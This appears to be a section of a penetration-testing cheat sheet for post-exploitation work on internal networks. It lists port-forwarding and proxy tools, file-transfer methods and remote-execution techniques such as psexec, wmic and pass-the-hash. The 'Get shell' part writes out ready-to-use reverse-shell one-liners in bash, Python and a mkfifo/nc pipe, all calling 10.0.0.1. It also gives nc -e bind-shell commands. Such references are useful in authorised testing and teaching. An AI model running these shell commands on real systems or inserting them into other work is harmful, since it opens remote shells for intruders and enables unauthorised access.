6.4. General Skills¶

6.4.1. Port Forwarding¶

windows
- lcx
- netsh
linux
- portmap
- iptables
socket proxy
- Win: xsocks
- Linux: proxychains
HTTP-based forwarding and socket proxy (penetration under low authority)
- port forwarding: tunna
- socks proxy: reGeorg
ssh tunning
- port forwarding
- socks

6.4.2. Get shell¶

regular reverse shell

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

imcp_shell bounces through firewall
forward shell

nc -e /bin/sh -lp 1234
nc.exe -e cmd.exe -lp 1234

6.4.3. Intranet file transfer¶

file transfer under windows
- powershell
- vbs script file
- bitsadmin
- File sharing
- Receive data using telnet
- hta
file transfer under linux
- python
- wget
- tar + ssh
- data transfer using dns
file compilation
- Powershell converts exe to txt, and then txt to exe

6.4.4. Remote Connection && Executing Programs¶

at&schtasks
psexec
wmic
wmiexec.vbs
smbexec
powershell remoting
SC create service execution
schtasks
SMB+MOF || DLL Hijacks
PTH + compmgmt.msc